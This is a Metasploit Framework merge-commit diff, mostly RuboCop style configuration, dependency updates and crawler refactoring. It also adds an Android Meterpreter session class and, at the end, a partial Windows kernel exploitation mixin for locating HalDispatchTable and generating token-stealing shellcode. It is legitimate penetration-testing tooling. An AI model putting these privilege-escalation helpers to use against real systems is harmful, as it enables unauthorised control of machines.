Merge to update

bug/bundler_fix
jvazquez-r7 2014-08-12 16:21:39 -05:00
commit e1debd68ad
242 changed files with 9113 additions and 2840 deletions

58
.rubocop.yml Normal file
View File

@ -0,0 +1,58 @@
# This list was created by analyzing the last three months (51 modules)
# committed to Metasploit Framework. Many, many older modules will have
# offenses, but this should at least provide a baseline for new modules.
#
# Updates to this file should include a 'Description' parameter for
# any explaination needed.
inherit_from: .rubocop_todo.yml
Style/ClassLength:
Description: 'Most Metasploit modules are quite large. This is ok.'
Enabled: true
Exclude:
- 'modules/**/*'
Style/Documentation:
Enabled: true
Description: 'Most Metasploit modules do not have class documentation.'
Exclude:
- 'modules/**/*'
Style/Encoding:
Enabled: true
Description: 'We prefer binary to UTF-8.'
EnforcedStyle: 'when_needed'
Style/LineLength:
Description: >-
Metasploit modules often pattern match against very
long strings when identifying targets.
Enabled: true
Max: 180
Style/MethodLength:
Enabled: true
Description: >-
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
Max: 300
Style/NumericLiterals:
Enabled: false
Description: 'This often hurts readability for exploit-ish code.'
Style/PercentLiteralDelimiters:
Enabled: false
Description: >-
Metasploit devs tend to prefer [] over %w() for
nearly all cases, since we often deal with funny
looking arrays of nonwords. Consistency here is
preferred over element type safety.
Style/WordArray:
Enabled: false
Description: >-
Metasploit devs have grown comforatble with curly
braces over parens for %w. Disabling this check
prefers consistency.

730
.rubocop_todo.yml Normal file
View File

@ -0,0 +1,730 @@
# This configuration was generated by `rubocop --auto-gen-config`
# on 2014-07-29 16:18:04 -0500 using RuboCop version 0.23.0.
# The point is for the user to remove these configuration records
# one by one as the offenses are removed from the code base.
# Note that changes in the inspected code, or installation of new
# versions of RuboCop, may require this file to be generated again.
# Offense count: 10
Lint/AmbiguousOperator:
Enabled: false
# Offense count: 8
Lint/AmbiguousRegexpLiteral:
Enabled: false
# Offense count: 1395
# Configuration parameters: AllowSafeAssignment.
Lint/AssignmentInCondition:
Enabled: false
# Offense count: 105
Lint/BlockAlignment:
Enabled: false
# Offense count: 7
Lint/ConditionPosition:
Enabled: false
# Offense count: 119
# Cop supports --auto-correct.
Lint/DeprecatedClassMethods:
Enabled: false
# Offense count: 5
Lint/ElseLayout:
Enabled: false
# Offense count: 1
Lint/EmptyInterpolation:
Enabled: false
# Offense count: 746
# Configuration parameters: AlignWith, SupportedStyles.
Lint/EndAlignment:
Enabled: false
# Offense count: 3
Lint/EnsureReturn:
Enabled: false
# Offense count: 43
Lint/Eval:
Enabled: false
# Offense count: 586
Lint/HandleExceptions:
Enabled: false
# Offense count: 107
Lint/LiteralInCondition:
Enabled: false
# Offense count: 8
Lint/LiteralInInterpolation:
Enabled: false
# Offense count: 30
Lint/Loop:
Enabled: false
# Offense count: 51
Lint/ParenthesesAsGroupedExpression:
Enabled: false
# Offense count: 2
Lint/RequireParentheses:
Enabled: false
# Offense count: 526
# Cop supports --auto-correct.
Lint/RescueException:
Enabled: false
# Offense count: 82
Lint/ShadowingOuterLocalVariable:
Enabled: false
# Offense count: 19
Lint/SpaceBeforeFirstArg:
Enabled: false
# Offense count: 395
# Cop supports --auto-correct.
Lint/StringConversionInInterpolation:
Enabled: false
# Offense count: 83
Lint/UnderscorePrefixedVariableName:
Enabled: false
# Offense count: 18
Lint/UnreachableCode:
Enabled: false
# Offense count: 950
# Cop supports --auto-correct.
Lint/UnusedBlockArgument:
Enabled: false
# Offense count: 1554
# Cop supports --auto-correct.
Lint/UnusedMethodArgument:
Enabled: false
# Offense count: 21
Lint/UselessAccessModifier:
Enabled: false
# Offense count: 2236
Lint/UselessAssignment:
Enabled: false
# Offense count: 1
Lint/UselessComparison:
Enabled: false
# Offense count: 4
Lint/UselessSetterCall:
Enabled: false
# Offense count: 131
Lint/Void:
Enabled: false
# Offense count: 178
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/AccessModifierIndentation:
Enabled: false
# Offense count: 346
Style/AccessorMethodName:
Enabled: false
# Offense count: 195
# Cop supports --auto-correct.
Style/Alias:
Enabled: false
# Offense count: 1007
# Cop supports --auto-correct.
Style/AlignArray:
Enabled: false
# Offense count: 1205
# Cop supports --auto-correct.
# Configuration parameters: EnforcedHashRocketStyle, EnforcedColonStyle, EnforcedLastArgumentHashStyle, SupportedLastArgumentHashStyles.
Style/AlignHash:
Enabled: false
# Offense count: 2822
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/AlignParameters:
Enabled: false
# Offense count: 9507
# Cop supports --auto-correct.
Style/AndOr:
Enabled: false
# Offense count: 9
Style/AsciiComments:
Enabled: false
# Offense count: 193
# Cop supports --auto-correct.
Style/BlockComments:
Enabled: false
# Offense count: 841
Style/BlockNesting:
Max: 8
# Offense count: 3258
# Cop supports --auto-correct.
Style/Blocks:
Enabled: false
# Offense count: 2245
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/BracesAroundHashParameters:
Enabled: false
# Offense count: 17
Style/CaseEquality:
Enabled: false
# Offense count: 1843
# Configuration parameters: IndentWhenRelativeTo, SupportedStyles, IndentOneStep.
Style/CaseIndentation:
Enabled: false
# Offense count: 562
# Cop supports --auto-correct.
Style/CharacterLiteral:
Enabled: false
# Offense count: 80
Style/ClassAndModuleCamelCase:
Enabled: false
# Offense count: 309
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/ClassAndModuleChildren:
Enabled: false
# Offense count: 352
# Configuration parameters: CountComments.
Style/ClassLength:
Max: 38107
# Offense count: 203
# Cop supports --auto-correct.
Style/ClassMethods:
Enabled: false
# Offense count: 311
Style/ClassVars:
Enabled: false
# Offense count: 364
# Cop supports --auto-correct.
# Configuration parameters: PreferredMethods.
Style/CollectionMethods:
Enabled: false
# Offense count: 315
# Cop supports --auto-correct.
Style/ColonMethodCall:
Enabled: false
# Offense count: 233
# Configuration parameters: Keywords.
Style/CommentAnnotation:
Enabled: false
# Offense count: 375
# Cop supports --auto-correct.
Style/CommentIndentation:
Enabled: false
# Offense count: 450
Style/ConstantName:
Enabled: false
# Offense count: 2713
Style/CyclomaticComplexity:
Max: 259
# Offense count: 275
# Cop supports --auto-correct.
Style/DefWithParentheses:
Enabled: false
# Offense count: 159
# Cop supports --auto-correct.
Style/DeprecatedHashMethods:
Enabled: false
# Offense count: 1455
Style/Documentation:
Enabled: false
# Offense count: 18
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/DotPosition:
Enabled: false
# Offense count: 70
Style/DoubleNegation:
Enabled: false
# Offense count: 16
Style/EachWithObject:
Enabled: false
# Offense count: 490
# Cop supports --auto-correct.
# Configuration parameters: AllowAdjacentOneLineDefs.
Style/EmptyLineBetweenDefs:
Enabled: false
# Offense count: 3753
# Cop supports --auto-correct.
Style/EmptyLines:
Enabled: false
# Offense count: 64
Style/EmptyLinesAroundAccessModifier:
Enabled: false
# Offense count: 8506
# Cop supports --auto-correct.
Style/EmptyLinesAroundBody:
Enabled: false
# Offense count: 164
# Cop supports --auto-correct.
Style/EmptyLiteral:
Enabled: false
# Offense count: 10
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/Encoding:
Enabled: false
# Offense count: 1
Style/EndBlock:
Enabled: false
# Offense count: 1
Style/EndOfLine:
Enabled: false
# Offense count: 26
Style/EvenOdd:
Enabled: false
# Offense count: 44
# Configuration parameters: Exclude.
Style/FileName:
Enabled: false
# Offense count: 108
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/For:
Enabled: false
# Offense count: 981
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/FormatString:
Enabled: false
# Offense count: 243
# Configuration parameters: AllowedVariables.
Style/GlobalVars:
Enabled: false
# Offense count: 727
# Configuration parameters: MinBodyLength.
Style/GuardClause:
Enabled: false
# Offense count: 11295
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/HashSyntax:
Enabled: false
# Offense count: 2551
# Configuration parameters: MaxLineLength.
Style/IfUnlessModifier:
Enabled: false
# Offense count: 82
Style/IfWithSemicolon:
Enabled: false
# Offense count: 2056
# Cop supports --auto-correct.
Style/IndentArray:
Enabled: false
# Offense count: 3023
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/IndentHash:
Enabled: false
# Offense count: 1257
# Cop supports --auto-correct.
Style/IndentationConsistency:
Enabled: false
# Offense count: 4705
# Cop supports --auto-correct.
Style/IndentationWidth:
Enabled: false
# Offense count: 302
Style/Lambda:
Enabled: false
# Offense count: 4664
# Cop supports --auto-correct.
Style/LeadingCommentSpace:
Enabled: false
# Offense count: 3304
# Cop supports --auto-correct.
Style/LineEndConcatenation:
Enabled: false
# Offense count: 127
Style/LineLength:
Max: 5614
# Offense count: 1480
# Cop supports --auto-correct.
Style/MethodCallParentheses:
Enabled: false
# Offense count: 28
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/MethodDefParentheses:
Enabled: false
# Offense count: 22
# Configuration parameters: CountComments.
Style/MethodLength:
Max: 38090
# Offense count: 278
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/MethodName:
Enabled: false
# Offense count: 27
Style/MultilineBlockChain:
Enabled: false
# Offense count: 93
Style/MultilineIfThen:
Enabled: false
# Offense count: 19
Style/MultilineTernaryOperator:
Enabled: false
# Offense count: 3497
# Cop supports --auto-correct.
Style/NegatedIf:
Enabled: false
# Offense count: 85
# Cop supports --auto-correct.
Style/NegatedWhile:
Enabled: false
# Offense count: 53
Style/NestedTernaryOperator:
Enabled: false
# Offense count: 972
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/Next:
Enabled: false
# Offense count: 587
# Cop supports --auto-correct.
Style/NilComparison:
Enabled: false
# Offense count: 311
# Cop supports --auto-correct.
# Configuration parameters: IncludeSemanticChanges.
Style/NonNilCheck:
Enabled: false
# Offense count: 5052
# Cop supports --auto-correct.
Style/Not:
Enabled: false
# Offense count: 72
Style/OneLineConditional:
Enabled: false
# Offense count: 28
Style/OpMethod:
Enabled: false
# Offense count: 94
# Configuration parameters: CountKeywordArgs.
Style/ParameterLists:
Max: 14
# Offense count: 3567
# Cop supports --auto-correct.
# Configuration parameters: AllowSafeAssignment.
Style/ParenthesesAroundCondition:
Enabled: false
# Offense count: 1030
# Cop supports --auto-correct.
Style/PerlBackrefs:
Enabled: false
# Offense count: 154
# Configuration parameters: NamePrefixBlacklist.
Style/PredicateName:
Enabled: false
# Offense count: 165
# Cop supports --auto-correct.
Style/Proc:
Enabled: false
# Offense count: 100
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/RaiseArgs:
Enabled: false
# Offense count: 286
# Cop supports --auto-correct.
Style/RedundantBegin:
Enabled: false
# Offense count: 269
Style/RedundantException:
Enabled: false
# Offense count: 3440
# Cop supports --auto-correct.
# Configuration parameters: AllowMultipleReturnValues.
Style/RedundantReturn:
Enabled: false
# Offense count: 3162
# Cop supports --auto-correct.
Style/RedundantSelf:
Enabled: false
# Offense count: 237
# Configuration parameters: MaxSlashes.
Style/RegexpLiteral:
Enabled: false
# Offense count: 349
Style/RescueModifier:
Enabled: false
# Offense count: 203
Style/SelfAssignment:
Enabled: false
# Offense count: 485
# Cop supports --auto-correct.
# Configuration parameters: AllowAsExpressionSeparator.
Style/Semicolon:
Enabled: false
# Offense count: 2468
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/SignalException:
Enabled: false
# Offense count: 126
# Configuration parameters: Methods.
Style/SingleLineBlockParams:
Enabled: false
# Offense count: 480
# Cop supports --auto-correct.
# Configuration parameters: AllowIfMethodIsEmpty.
Style/SingleLineMethods:
Enabled: false
# Offense count: 482
# Cop supports --auto-correct.
Style/SingleSpaceBeforeFirstArg:
Enabled: false
# Offense count: 8
# Cop supports --auto-correct.
Style/SpaceAfterColon:
Enabled: false
# Offense count: 66361
# Cop supports --auto-correct.
Style/SpaceAfterComma:
Enabled: false
# Offense count: 1387
# Cop supports --auto-correct.
Style/SpaceAfterControlKeyword:
Enabled: false
# Offense count: 35
# Cop supports --auto-correct.
Style/SpaceAfterMethodName:
Enabled: false
# Offense count: 154
# Cop supports --auto-correct.
Style/SpaceAfterNot:
Enabled: false
# Offense count: 2
# Cop supports --auto-correct.
Style/SpaceAfterSemicolon:
Enabled: false
# Offense count: 2592
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/SpaceAroundEqualsInParameterDefault:
Enabled: false
# Offense count: 9743
# Cop supports --auto-correct.
Style/SpaceAroundOperators:
Enabled: false
# Offense count: 390
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/SpaceBeforeBlockBraces:
Enabled: false
# Offense count: 1297
# Cop supports --auto-correct.
Style/SpaceBeforeComment:
Enabled: false
# Offense count: 7
# Cop supports --auto-correct.
Style/SpaceBeforeModifierKeyword:
Enabled: false
# Offense count: 1342
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles, EnforcedStyleForEmptyBraces, SpaceBeforeBlockParameters.
Style/SpaceInsideBlockBraces:
Enabled: false
# Offense count: 24964
# Cop supports --auto-correct.
Style/SpaceInsideBrackets:
Enabled: false
# Offense count: 2807
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, EnforcedStyleForEmptyBraces, SupportedStyles.
Style/SpaceInsideHashLiteralBraces:
Enabled: false
# Offense count: 5223
# Cop supports --auto-correct.
Style/SpaceInsideParens:
Enabled: false
# Offense count: 729
# Cop supports --auto-correct.
Style/SpecialGlobalVars:
Enabled: false
# Offense count: 111166
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/StringLiterals:
Enabled: false
# Offense count: 382
Style/Tab:
Enabled: false
# Offense count: 568
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/TrailingBlankLines:
Enabled: false
# Offense count: 6257
# Configuration parameters: EnforcedStyleForMultiline, SupportedStyles.
Style/TrailingComma:
Enabled: false
# Offense count: 1803
# Cop supports --auto-correct.
Style/TrailingWhitespace:
Enabled: false
# Offense count: 141
# Cop supports --auto-correct.
# Configuration parameters: ExactNameMatch, AllowPredicates, AllowDSLWriters, Whitelist.
Style/TrivialAccessors:
Enabled: false
# Offense count: 22
Style/UnlessElse:
Enabled: false
# Offense count: 216
Style/UnneededCapitalW:
Enabled: false
# Offense count: 13
# Cop supports --auto-correct.
Style/UnneededPercentX:
Enabled: false
# Offense count: 93
# Cop supports --auto-correct.
Style/VariableInterpolation:
Enabled: false
# Offense count: 740
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/VariableName:
Enabled: false
# Offense count: 1520
# Cop supports --auto-correct.
Style/WhenThen:
Enabled: false
# Offense count: 33
# Cop supports --auto-correct.
Style/WhileUntilDo:
Enabled: false
# Offense count: 129
# Configuration parameters: MaxLineLength.
Style/WhileUntilModifier:
Enabled: false

View File

@ -33,6 +33,7 @@ and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-f
## Code Contributions
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
* Similarly, **try** to get Rubocop passing or at least relatively quiet against the files added/modified as part of your contribution
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.

View File

@ -37,6 +37,8 @@ group :pcap do
end
group :development do
# Style/sanity checking Ruby code
gem 'rubocop'
# Markdown formatting for yard
gem 'redcarpet'
# generating documentation

View File

@ -13,6 +13,7 @@ GEM
i18n (~> 0.6, >= 0.6.4)
multi_json (~> 1.0)
arel (3.0.2)
ast (2.0.0)
bcrypt (3.1.7)
builder (3.0.4)
database_cleaner (1.1.1)
@ -34,8 +35,13 @@ GEM
nokogiri (1.6.0)
mini_portile (~> 0.5.0)
packetfu (1.1.9)
parser (2.1.9)
ast (>= 1.1, < 3.0)
slop (~> 3.4, >= 3.4.5)
pcaprub (0.11.3)
pg (0.16.0)
powerpack (0.0.9)
rainbow (2.0.0)
rake (10.1.0)
redcarpet (3.0.0)
rkelly-remix (0.0.6)
@ -48,12 +54,20 @@ GEM
rspec-expectations (2.14.2)
diff-lcs (>= 1.1.3, < 2.0)
rspec-mocks (2.14.3)
rubocop (0.23.0)
json (>= 1.7.7, < 2)
parser (~> 2.1.9)
powerpack (~> 0.0.6)
rainbow (>= 1.99.1, < 3.0)
ruby-progressbar (~> 1.4)
ruby-progressbar (1.5.1)
shoulda-matchers (2.3.0)
activesupport (>= 3.0.0)
simplecov (0.5.4)
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
slop (3.5.0)
sqlite3 (1.3.9)
timecop (0.6.3)
tzinfo (0.3.37)
@ -83,6 +97,7 @@ DEPENDENCIES
rkelly-remix (= 0.0.6)
robots
rspec (>= 2.12)
rubocop
shoulda-matchers
simplecov (= 0.5.4)
sqlite3

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -13,7 +13,7 @@
require 'rubygems'
require 'pathname'
require 'hpricot'
require 'nokogiri'
require 'uri'
class CrawlerSimple < BaseParser
@ -24,23 +24,20 @@ class CrawlerSimple < BaseParser
return
end
doc = Hpricot(result.body.to_s)
doc.search('a').each do |link|
hr = link.attributes['href']
if hr and !hr.match(/^(\#|javascript\:)/)
begin
hreq = urltohash('GET',hr,request['uri'],nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
#puts "Parse error"
#puts "Error: #{link[0]}"
# doc = Hpricot(result.body.to_s)
doc = Nokogiri::HTML(result.body.to_s)
doc.css('a').each do |anchor_tag|
hr = anchor_tag['href']
if hr && !hr.match(/^(\#|javascript\:)/)
begin
hreq = urltohash('GET', hr, request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
#puts "Parse error"
#puts "Error: #{link[0]}"
end
end
end
end
end
end

View File

@ -13,7 +13,7 @@
require 'rubygems'
require 'pathname'
require 'hpricot'
require 'nokogiri'
require 'uri'
class CrawlerForms < BaseParser
@ -27,49 +27,30 @@ class CrawlerForms < BaseParser
hr = ''
m = ''
doc = Hpricot(result.body.to_s)
doc.search('form').each do |f|
hr = f.attributes['action']
doc = Nokogiri::HTML(result.body.to_s)
doc.css('form').each do |f|
hr = f['action']
fname = f.attributes['name']
if fname.empty?
fname = "NONE"
end
fname = f['name']
fname = "NONE" if fname.empty?
m = "GET"
if !f.attributes['method'].empty?
m = f.attributes['method'].upcase
end
m = f['method'].empty? ? 'GET' : f['method'].upcase
#puts "Parsing form name: #{fname} (#{m})"
htmlform = Hpricot(f.inner_html)
htmlform = Nokogiri::HTML(f.inner_html)
arrdata = []
htmlform.search('input').each do |p|
#puts p.attributes['name']
#puts p.attributes['type']
#puts p.attributes['value']
#raw_request has uri_encoding disabled as it encodes '='.
arrdata << (p.attributes['name'] + "=" + Rex::Text.uri_encode(p.attributes['value']))
htmlform.css('input').each do |p|
arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}"
end
data = arrdata.join("&").to_s
begin
hreq = urltohash(m,hr,request['uri'],data)
hreq = urltohash(m, hr, request['uri'], data)
hreq['ctype'] = 'application/x-www-form-urlencoded'
insertnewpath(hreq)
rescue URI::InvalidURIError
#puts "Parse error"
#puts "Error: #{link[0]}"
end
end
end

View File

@ -9,33 +9,29 @@
require 'rubygems'
require 'pathname'
require 'hpricot'
require 'nokogiri'
require 'uri'
class CrawlerFrames < BaseParser
def parse(request,result)
if !result['Content-Type'].include? "text/html"
return
end
return unless result['Content-Type'].include?('text/html')
doc = Hpricot(result.body.to_s)
doc.search('iframe').each do |ifra|
doc = Nokogiri::HTML(result.body.to_s)
doc.css('iframe').each do |ifra|
ir = ifra['src']
ir = ifra.attributes['src']
if ir and !ir.match(/^(\#|javascript\:)/)
begin
hreq = urltohash('GET',ir,request['uri'],nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
#puts "Error"
if ir && !ir.match(/^(\#|javascript\:)/)
begin
hreq = urltohash('GET', ir, request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
end
end
end
end
end
end

View File

@ -10,33 +10,26 @@
require 'rubygems'
require 'pathname'
require 'hpricot'
require 'nokogiri'
require 'uri'
class CrawlerImage < BaseParser
def parse(request,result)
if !result['Content-Type'].include? "text/html"
return
end
return unless result['Content-Type'].include?('text/html')
doc = Hpricot(result.body.to_s)
doc.search('img').each do |i|
im = i.attributes['src']
if im and !im.match(/^(\#|javascript\:)/)
begin
hreq = urltohash('GET',im,request['uri'],nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
#puts "Parse error"
#puts "Error: #{i[0]}"
doc = Nokogiri::HTML(result.body.to_s)
doc.css('img').each do |i|
im = i['src']
if im && !im.match(/^(\#|javascript\:)/)
begin
hreq = urltohash('GET', im, request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
end
end
end
end
end
end

View File

@ -10,33 +10,25 @@
require 'rubygems'
require 'pathname'
require 'hpricot'
require 'nokogiri'
require 'uri'
class CrawlerLink < BaseParser
def parse(request,result)
return unless result['Content-Type'].include?('text/html')
if !result['Content-Type'].include? "text/html"
return
end
doc = Hpricot(result.body.to_s)
doc.search('link').each do |link|
hr = link.attributes['href']
if hr and !hr.match(/^(\#|javascript\:)/)
begin
hreq = urltohash('GET',hr,request['uri'],nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
#puts "Parse error"
#puts "Error: #{link[0]}"
doc = Nokogiri::HTML(result.body.to_s)
doc.css('link').each do |link|
hr = link['href']
if hr && !hr.match(/^(\#|javascript\:)/)
begin
hreq = urltohash('GET', hr, request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
end
end
end
end
end
end

View File

@ -13,36 +13,25 @@
require 'rubygems'
require 'pathname'
require 'hpricot'
require 'nokogiri'
require 'uri'
class CrawlerObjects < BaseParser
def parse(request,result)
if !result['Content-Type'].include? "text/html"
return
end
return unless result['Content-Type'].include?('text/html') # TOOD: use MIXIN
hr = ''
m = ''
doc = Hpricot(result.body.to_s)
doc.search("//object/embed").each do |obj|
doc = Nokogiri::HTML(result.body.to_s)
doc.xpath("//object/embed").each do |obj|
s = obj['src']
begin
hreq = urltohash('GET',s,request['uri'],nil)
hreq = urltohash('GET', s, request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
#puts "Parse error"
#puts "Error: #{link[0]}"
end
end
end
end

View File

@ -13,36 +13,27 @@
require 'rubygems'
require 'pathname'
require 'hpricot'
require 'nokogiri'
require 'uri'
class CrawlerScripts < BaseParser
def parse(request,result)
if !result['Content-Type'].include? "text/html"
return
end
return unless result['Content-Type'].include? "text/html"
hr = ''
m = ''
doc = Hpricot(result.body.to_s)
doc.search("//script").each do |obj|
doc = Nokogiri::HTML(result.body.to_s)
doc.xpath("//script").each do |obj|
s = obj['src']
begin
hreq = urltohash('GET',s,request['uri'],nil)
hreq = urltohash('GET', s, request['uri'], nil)
insertnewpath(hreq)
rescue URI::InvalidURIError
#puts "Parse error"
#puts "Error: #{link[0]}"
end
end
end
end

View File

@ -7,7 +7,7 @@ CLASSES = Exploit.java
all: $(CLASSES:.java=.class)
install:
mv *.class ../../../../data/exploits/CVE-2013-3465/
mv *.class ../../../../data/exploits/CVE-2013-2465/
clean:
rm -rf *.class

View File

@ -37,7 +37,7 @@ class BitStruct
old_writer = "#{attr_chars}="
define_method "#{attr}=" do |val|
data = val.split(sep).map{|s|s.to_i(base)}.pack("c*")
data = val.split(sep).map{|s|s.to_i(base)}.pack("C*")
send(old_writer, data)
end
end

View File

@ -0,0 +1,33 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
require 'msf/base/sessions/meterpreter_java'
require 'msf/base/sessions/meterpreter_options'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java
def initialize(rstream, opts={})
super
self.platform = 'java/android'
end
def load_android
original = console.disable_output
console.disable_output = true
console.run_single('load android')
console.disable_output = original
end
end
end
end

View File

@ -59,6 +59,12 @@ module MeterpreterOptions
end
end
if session.platform =~ /android/i
if datastore['AutoLoadAndroid']
session.load_android
end
end
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
if (datastore[key].empty? == false)
args = Shellwords.shellwords( datastore[key] )

View File

@ -215,7 +215,7 @@ module Auxiliary::Report
end
case ctype
when "text/plain"
when /^text\/[\w\.]+$/
ext = "txt"
end
# This method is available even if there is no database, don't bother checking

View File

@ -246,8 +246,7 @@ module Exploit::Remote::AFP
end
def parse_header(packet)
header = packet.unpack('CCnNNN') #ruby 1.8.7 don't support unpacking signed integers in big-endian order
header[3] = packet[4..7].reverse.unpack("l").first
header = packet.unpack('CCnNNN')
return header
end

View File

@ -154,7 +154,7 @@ module Exploit::CmdStager
# Returns a hash with the :decoder option if possible
#
# @params opts [Hash] Input Hash.
# @param opts [Hash] Input Hash.
# @return [Hash] Hash with the input data and a :decoder option when
# possible.
def opts_with_decoder(opts = {})
@ -279,7 +279,7 @@ module Exploit::CmdStager
# Answers if the input flavor is compatible with the current target or module.
#
# @param f [Symbol] The flavor to check
# @returns [Boolean] true if compatible, false otherwise.
# @return [Boolean] true if compatible, false otherwise.
def compatible_flavor?(f)
return true if target_flavor.nil?
case target_flavor.class.to_s

View File

@ -0,0 +1,164 @@
# -*- coding: binary -*-
module Msf
module Exploit::Local::WindowsKernel
include Msf::PostMixin
include Msf::Post::Windows::Error
#
# Find the address of nt!HalDispatchTable.
#
# @return [Integer] The address of nt!HalDispatchTable.
# @return [nil] If the address could not be found.
#
def find_haldispatchtable
kernel_address, kernel_name = find_sys_base(nil)
if kernel_address.nil? || kernel_name.nil?
print_error("Failed to find the address of the Windows kernel")
return nil
end
vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}")
h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1)
if h_kernel['return'] == 0
print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})")
return nil
end
h_kernel = h_kernel['return']
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable')
if hal_dispatch_table['return'] == 0
print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})")
return nil
end
hal_dispatch_table = hal_dispatch_table['return']
hal_dispatch_table -= h_kernel
hal_dispatch_table += kernel_address
vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}")
hal_dispatch_table
end
#
# Find the load address for a device driver on the session.
#
# @param drvname [String, nil] The name of the module to find, otherwise the kernel
# if this value is nil.
# @return [Array] An array containing the base address and the located drivers name.
# @return [nil] If the name specified could not be found.
#
def find_sys_base(drvname)
if session.railgun.util.pointer_size == 8
ptr = '<Q'
else
ptr = 'V'
end
results = session.railgun.psapi.EnumDeviceDrivers(0, 0, session.railgun.util.pointer_size)
unless results['return']
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
return nil
end
results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], session.railgun.util.pointer_size)
unless results['return']
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
return nil
end
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("#{ptr}*")
addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
if results['return'] == 0
print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
return nil
end
current_drvname = results['lpBaseName'][0,results['return']]
if drvname.nil?
if current_drvname.downcase.include?('krnl')
return address, current_drvname
end
elsif drvname == current_drvname
return address, current_drvname
end
end
end
#
# Open a device on a meterpreter session with a call to CreateFileA and return
# the handle. Both optional parameters lpSecurityAttributes and hTemplateFile
# are specified as nil.
#
# @param file_name [String] Passed to CreateFileA as the lpFileName parameter.
# @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter.
# @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter.
# @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter.
# @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter.
# @return [Integer] The device handle.
# @return [nil] If the call to CreateFileA failed.
#
def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0)
handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil)
if handle['return'] == INVALID_HANDLE_VALUE
print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})")
return nil
end
handle['return']
end
#
# Generate token stealing shellcode suitable for use when overwriting the
# HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx
# registers.
#
# @param target [Hash] The target information containing the offsets to _KPROCESS,
# _TOKEN, _UPID and _APLINKS.
# @param backup_token [Integer] An optional location to write a copy of the
# original token to so it can be restored later.
# @param arch [String] The architecture to return shellcode for. If this is nil,
# the arch will be guessed from the target and then module information.
# @return [String] The token stealing shellcode.
# @raise [ArgumentError] If the arch is incompatible.
#
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
if arch.nil? && module_info['Arch']
arch = module_info['Arch']
